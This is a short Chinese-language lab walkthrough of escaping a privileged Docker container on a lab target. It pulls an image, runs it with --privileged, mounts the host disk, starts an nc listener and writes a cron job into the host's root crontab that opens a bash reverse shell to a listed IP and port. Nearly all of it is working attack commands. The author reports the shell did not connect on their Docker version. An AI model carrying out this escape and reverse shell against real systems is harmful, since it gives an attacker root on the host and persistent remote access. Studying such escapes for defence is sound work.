复现利用特权模式docker逃逸
漏洞说明:
获取某个系统shell后发现其是docker,这时候我们就需要进行docker逃逸来拿到其真正宿主的权限,利用特权模式逃逸
靶机:ubantu16.0
IP地址 192.168.32.142
Docker version 小于 18.09.2版本
当管理员执行docker run -privileged
时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
(1)下载centos镜像
执行命令:docker pull centos
查看centos镜像ID号300e315adb2f
(2)启动容器
执行命令:docker run -it --privileged 300e315adb2f /bin/bash
(3)新建一个文件用来挂载
mkdir /abc
mount /dev/sda1 /abc
挂载
(4)开启监听端口 nc -lvp 端口号
(5)执行攻击代码
echo '* * * * * bash -i >& /dev/tcp/192.168.32.142/888 0>&1' >> /abc/var/spool/cron/crontabs/root
(6)注意root文件600权限
执行命令:chmod 600 /var/spool/cron/crontabs/root
(7)由于我的docker version版本是20.XX的所以没有反弹shell